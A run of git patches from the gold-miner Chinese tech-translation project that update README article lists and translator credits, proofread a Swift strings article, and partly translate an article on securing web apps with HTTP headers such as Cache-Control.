 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
 * [在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身](https://juejin.im/post/58cf4a3144d90400690b7be7/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([fghpdf](https://github.com/fghpdf) 翻译)
 * [Pull request review 的十大错误](https://juejin.im/post/58ce3b3e61ff4b006c988f63/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)

From 6ea9fa02939c766668d981cb3682c6915e650786 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 11 Apr 2017 01:00:14 +0800
Subject: [PATCH 112/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E6=A8=A1=E5=9D=97?=
 =?UTF-8?q?=E5=8C=96=20vs.=20=E5=BE=AE=E6=9C=8D=E5=8A=A1=20=E7=9A=84?=
 =?UTF-8?q?=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 62a56a84c1f..2df4c508b86 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [452](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [453](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -56,10 +56,10 @@
 
 ## 后端
 
+* [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
 * [在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身](https://juejin.im/post/58cf4a3144d90400690b7be7/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([fghpdf](https://github.com/fghpdf) 翻译)
-* [Pull request review 的十大错误](https://juejin.im/post/58ce3b3e61ff4b006c988f63/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 8b96be0ba3f..909e6435309 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
 * [在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身](https://juejin.im/post/58cf4a3144d90400690b7be7/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([fghpdf](https://github.com/fghpdf) 翻译)

From 8a4cb26b6b86066a9584e81025c2fe30f17553ef Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 11 Apr 2017 10:12:45 +0800
Subject: [PATCH 113/638] Fix typos.

---
 README.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/README.md b/README.md
index 2df4c508b86..d83a7c5e1b9 100644
--- a/README.md
+++ b/README.md
@@ -41,7 +41,6 @@
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From d57c25645060c19dc1e98f953c2ed33b8656db70 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 11 Apr 2017 10:13:31 +0800
Subject: [PATCH 114/638] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E8=AF=91=E8=80=85?=
 =?UTF-8?q?=E4=BA=BA=E6=95=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index d83a7c5e1b9..445c5394d6d 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [453](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [453](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 

From f995c21c858bb1e6a988995537f3583cf6db71ce Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 11 Apr 2017 10:46:48 +0800
Subject: [PATCH 115/638] Update preload-prefetch-and-priorities-in-chrome.md

---
 TODO/preload-prefetch-and-priorities-in-chrome.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/preload-prefetch-and-priorities-in-chrome.md b/TODO/preload-prefetch-and-priorities-in-chrome.md
index 5f13ea73d2b..6fc8912e434 100644
--- a/TODO/preload-prefetch-and-priorities-in-chrome.md
+++ b/TODO/preload-prefetch-and-priorities-in-chrome.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Preload, Prefetch And Priorities in Chrome](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)
-> * 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Addy Osmani](https://medium.com/@addyosmani) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[IridescentMia](https://github.com/IridescentMia),[vuuihc](https://github.com/vuuihc)

From 48e36d994a282a1d23321bd0a5564386a6871889 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 11 Apr 2017 22:55:28 +0800
Subject: [PATCH 116/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E4=BD=9C=E8=80=85?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 2df4c508b86..b00acba8e90 100644
--- a/README.md
+++ b/README.md
@@ -41,7 +41,7 @@
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)
+* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([IridescentMia](https://github.com/IridescentMia) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 422f548bef95305ec1f87d3f48958113f675ff5e Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 11 Apr 2017 23:04:46 +0800
Subject: [PATCH 117/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/README.md b/README.md
index b494634b4e5..54648b75c5d 100644
--- a/README.md
+++ b/README.md
@@ -41,10 +41,7 @@
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-<<<<<<< HEAD
 * [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([IridescentMia](https://github.com/IridescentMia) 翻译)
-=======
->>>>>>> 2ffa1a092c355fc606b7cfc27f14af24d385d679
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 7d63b83df1a22c2082cab44926079a3f08063d2a Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Tue, 11 Apr 2017 23:47:00 +0800
Subject: [PATCH 118/638] revision for @atuooo

---
 ...g-swift-essential-details-about-strings.md | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index 1abd697d093..14cd30aa1a8 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -2,7 +2,7 @@
 * 原文作者：[Dmitri Pavlutin](https://rainsoft.io/author/dmitri-pavlutin/)
 * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 * 译者：[Tuccuay](https://www.tuccuay.com)
-* 校对者：
+* 校对者：[oOatuo](https://github.com/atuooo)
 
 
 # 掌握 Swift 的字符串细节
@@ -11,7 +11,7 @@ String 类型在任何编程语言中都是一个重要的组成部分。而用
 
 为了触及更多的用户，iOS 应用必须国际化以支持大量现代语言。Unicode 标准解决了这个问题，不过这也给我们使用 string 类型带来了额外的挑战性。
 
-从一方面来说，编程语言应该在平衡处理字符串时应该在 Unicode 复杂性和性能之间取得平衡。而另一方面，它需要为开发者提供一个舒适的结构来处理字符串。
+从一方面来说，编程语言在处理字符串时应该在 Unicode 复杂性和性能之间取得平衡。而另一方面，它需要为开发者提供一个舒适的结构来处理字符串。
 
 而在我看来，Swift 在这两方面都做的不错。
 
@@ -23,16 +23,16 @@ Swift 对此有着更好的实现方式。字符串本身不再是集合，而
 
 对于 `let myStr = "Hello, world"` 来说，你可以访问到下面这些 view：
 
-- `myStr.characters` 即 `String.CharacterView`。可以获取字形的值，视觉上呈现为单一的符号。是最常用的试图
+- `myStr.characters` 即 `String.CharacterView`。可以获取字形的值，视觉上呈现为单一的符号，是最常用的视图。
 - `myStr.unicodeScalars` 即 `String.UnicodeScalarView`。可以获取 21 整数表示的 Unicode 码位。
 - `myStr.utf16` 即 `String.UTF16View`。用于获取 UTF16 编码的代码单元。
-- `myStr.utf8` 即 `String.UTF8View`。能够获取 UTF8 编码的代码单一。
+- `myStr.utf8` 即 `String.UTF8View`。能够获取 UTF8 编码的代码单元。
 
 ![Swift 中的 CharacterView, UnicodeScalarView, UTF16View 和 UTF8View](https://rainsoft.io/content/images/2016/10/Swift-strings--3-.png)
 
 在大多数时候开发者都在处理简单的字符串字符，而不是深入到编码或者码位这样的细节中。
 
-`CharacterView` 能很好的完成大多数任务：迭代字符串、字符计数、验证是否包含字符串、通过索引访问和比较操作等。
+`CharacterView` 能很好地完成大多数任务：迭代字符串、字符计数、验证是否包含字符串、通过索引访问和比较操作等。
 
 让我们看看如何用 Swift 来完成这些任务。
 
@@ -52,7 +52,7 @@ print(type(of: characters))// => "CharacterView"
 
 `message.characters` 返回了 `CharacterView` 结构.
 
-字符视图是 `Character` 结构的集合。例如我们可以这样来访问字符视图里的第一个字符：
+字符视图是 `Character` 结构的集合。例如，我们可以这样来访问字符视图里的第一个字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57ff7e188ef62b25bcea2ab2)
 
@@ -70,7 +70,7 @@ print(capitalHCharacter == firstCharacter) // => true
 
 这个字符实例代表了单个符号 `H`。
 
-在 Unicode 标准中，`H` 代表 *Latin Capital letter H*，码位是 `U+0048`。
+在 Unicode 标准中，`H` 代表 *Latin Capital letter H* (拉丁文大写字母 H)，码位是 `U+0048`。
 
 让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**
 
@@ -79,7 +79,7 @@ print(capitalHCharacter == firstCharacter) // => true
 
 让我们看看 `ç` 的字形。他可以有两种表现形式：
 
-- 使用 `U+00E7` *LATIN SMALL LETTER C WITH CEDILLA*：被渲染为 `ç`
+- 使用 `U+00E7` *LATIN SMALL LETTER C WITH CEDILLA* (拉丁文小写变音字母 C)：被渲染为 `ç`
 - 或者使用组合字符序列：`U+0063`*LATIN SMALL LETTER C* 加上 组合标记 `U + 0327` *COMBINING CEDILLA* 组成复合字形：`c` + `◌̧` = `ç`
 
 我们看看在第二个选项中 Swift 是如何处理它的：
@@ -111,9 +111,9 @@ let multipleGraphemes: Character = "ab" // Error!
 即使 `singleGrapheme` 由 3 个 Unicode 标量组成，它创建了一个字形 `ḉ`。
 而 `multipleGraphemes` 则是从两个 Unicode 标量创建一个 `Character`，这将在单个 `Character` 结构中创建两个分离的字母 `a` 和 `b`，这不是被允许的操作。
 
-# 2. 迭代字符串中的字符
+# 2. 遍历字符串中的字符
 
-`CharacterView` 集合遵循了 `Sequence` 协议。这将允许在 `for-in` 循环中便利字符视图：
+`CharacterView` 集合遵循了 `Sequence` 协议。这将允许在 `for-in` 循环中遍历字符视图：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bc8f27a61152fe7c7410)
 
@@ -161,7 +161,7 @@ for (index, char) in weather.characters.enumerated() {
 
 # 3. 统计字符
 
-只需要访问 `CharacterView` 的 `counter` 属性就可以获得字符串中字符的个数：
+只需要访问 `CharacterView` 的 `count` 属性就可以获得字符串中字符的个数：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcf327a61152fe7c7413)
 
@@ -191,11 +191,11 @@ print(drink.characters.count) // => 4
 
 # 4. 按索引访问字符
 
-因为 Swift 直到它实际评估字符视图中的字形之前都不知道字符串中的字符个数。结果就造成了无法通过通过下标的方式访问字符串索引。
+因为 Swift 直到它实际评估字符视图中的字形之前都不知道字符串中的字符个数，所以无法通过下标的方式访问字符串索引。
 
 你可以通过特殊的类型 `String.Index` 访问字符。
 
-如果你需要访问字符串中的第一个或者最好一个字符，字符视图结构提供了 `first` 和 `last` 属性：
+如果你需要访问字符串中的第一个或者最后一个字符，字符视图结构提供了 `first` 和 `last` 属性：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd2027a61152fe7c7415)
 
@@ -230,7 +230,7 @@ print(color[beforeEndIndex]) // => "n"
 ```
 
 `color.startIndex` 是第一个字符的索引，所以 `color[startIndex]` 表示为 `g`。
-`color.endIndex` 表示**结束**位置，或者简单的说是比最后一个有效小标参数大的位置。要访问最后一个字符，你必须计算它的前一个索引：`color.index(before: color.endIndex)`
+`color.endIndex` 表示**结束**位置，或者简单的说是比最后一个有效下标参数大的位置。要访问最后一个字符，你必须计算它的前一个索引：`color.index(before: color.endIndex)`
 
 要通过偏移访问字符的位置， 在 `index(theIndex, offsetBy: theOffset)` 方法中使用 `offsetBy` 参数：
 
@@ -459,9 +459,9 @@ if let index = weather.characters.index(of: " ") {
 
 上面描述的许多字符串操作都是直接应用于字符串中的字符视图。
 
-而更方便的直接使用一个字符序列可能是更好的选择。
+如果你觉得直接对字符序列进行操作更加方便的话，那也是个不错的选择。
 
-比如你可以删除特定索引出的字符，或者直接删除第一个或者最好一个字符：
+比如你可以删除特定索引出的字符，或者直接删除第一个或者最后一个字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bea927a61152fe7c7425)
 
@@ -531,7 +531,7 @@ print(numberOfStars) // => 2
 
 首先要说，大家对于字符串内容持有的不同观点看起来似乎过于复杂。
 
-而在我看来这是一个很好的实现。字符串可以从不同的角度来例假：昨晚字形集合、UTF-8 或 UTF-16 码位和简单是 Unicode 标量。
+而在我看来这是一个很好的实现。字符串可以从不同的角度来看待：作为字形集合、UTF-8 / UTF-16 码位或者简单的 Unicode 标量。
 
 根据你的任务来选择合适的视图。在大多数情况下，`CharacterView` 都很合适。
 

From fccb3e734190d7323c5c224ec48fab9e89d0e646 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Tue, 11 Apr 2017 23:49:37 +0800
Subject: [PATCH 119/638] translation half finished

---
 TODO/secure-web-app-http-headers.md | 119 ++++++++++++++++++----------
 1 file changed, 79 insertions(+), 40 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index e2f1066fd33..17aad2f24b1 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -1,29 +1,30 @@
 > * 原文地址：[How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/)
 > * 原文作者：[Hagay Lupesko](https://www.smashingmagazine.com/author/hagaylupesko/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[bambooom](https://github.com/bambooom)
 > * 校对者：
 
-## [How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/) ##
+## 如何使用 HTTP Headers 来保护你的 Web 应用 ##
 
-Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately [40% of data breaches](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/) originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather **a necessity for web developers**, especially for developers who build consumer-facing applications.
+> Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately [40% of data breaches](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/) originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather **a necessity for web developers**, especially for developers who build consumer-facing applications.
 
-HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
+Web 应用，无论是简单的小网页还是复杂的单页应用，众所周知都是网络攻击的目标。2016年，大约 40% 的数据泄露源自对 Web 应用的攻击，这是主要的攻击模式。事实上，现在来说，了解网络安全并不是锦上添花， 而是 Web 开发者的必需任务，特别对于构建面向消费者的产品的开发人员。
 
-#### Further Reading on SmashingMag: 
+> HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
 
-- [Facing The Challenge: Building A Responsive Web Application](https://www.smashingmagazine.com/2013/06/building-a-responsive-web-application/) 
-- [Getting Ready For HTTP2: A Guide For Web Designers And Developers](https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/) 
-- [Common Security Mistakes in Web Applications](https://www.smashingmagazine.com/2010/10/common-security-mistakes-in-web-applications/)
-- [Web Security: Are You Part Of The Problem?](https://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/)
+开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将结束 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但是设置 HTTP 响应头基本在所有主要的服务端语言都是简单易设置的。
 
-### About HTTP Headers ###
+### 关于 HTTP Headers ###
 
-Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
+> Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
 
-Plain-text HTTP response headers can be examined easily using cURL, with the `--head` option, like so:
+技术上，HTTP 头只是简单的字段，咦明文形式编码，这是 HTTP 请求和响应消息头的一部分。它们旨在使客户端和服务端都能够发送和接受有关要建立的连接元数据、所请求的资源，以及返回的资源本身的元数据。
 
-```
+> Plain-text HTTP response headers can be examined easily using cURL, with the `--head` option, like so:
+
+可以使用 cURL `--head` 选项轻松检查纯文本 HTTP 响应头，例如:
+
+```sh
 $ curl --head https://www.google.com
 HTTP/1.1 200 OK
 Date: Thu, 05 Jan 2017 08:20:29 GMT
@@ -36,33 +37,51 @@ Vary: Accept-Encoding
 …
 ```
 
-Today, hundreds of headers are used by web apps, some standardized by the [Internet Engineering Task Force](https://www.ietf.org/) (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
+> Today, hundreds of headers are used by web apps, some standardized by the [Internet Engineering Task Force](https://www.ietf.org/) (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
+
+现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组, IETF](https://www.ietf.org/)标准化。IETF 是一个开发性组织，今天我们所熟知的许多 web 标准或专利都是由他们进行推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。
+
+### 机密资源禁用缓存 ###
+
+> Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
+
+缓存是优化客户端-服务端架构性能中有效的技术，广泛利用缓存的 HTTP 也不例外。但是，在缓存的资源是保密的情况下，缓存可能导致漏斗，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用。任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。
 
-### Disabling Caching Of Confidential Resources ###
+> The IETF’s [RFC 7234](https://tools.ietf.org/html/rfc7234), which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to *always* cache responses to HTTP `GET` requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
 
-Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
+IETF 的 [RFC 7234](https://tools.ietf.org/html/rfc7234) 上定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为，也就是始终缓存对 HTTP GET 请求的相应，除非另行指定。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还廷议了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。
 
-The IETF’s [RFC 7234](https://tools.ietf.org/html/rfc7234), which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to *always* cache responses to HTTP `GET` requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
+> There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
 
-There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
+当你返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个头可以返回：
 
 - `Cache-Control`
 
-This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: `cache-control: no-cache, no-store, must-revalidate`. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
+> This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: `cache-control: no-cache, no-store, must-revalidate`. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
+
+从 HTTP 1.1 引入的此响应头可能包含一个或多个指令，每个指令带有特定的缓存语义，指示 HTTP 客户端和代理如何处理有此响应头注释的响应。我推荐如下指定响应头，`cache-control: no-cache, no-store, must-revalidate`。这三个指令基本上可以指示客户端和中间代理不可使用之前缓存的响应，不可存储响应，甚至就算响应被缓存，也必须从源服务器上重新验证。
 
 - `Pragma: no-cache`
- 
-For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the `Cache-Control` header mentioned above. Use `Pragma: no-cache` to ensure that these older clients do not cache your response.
+
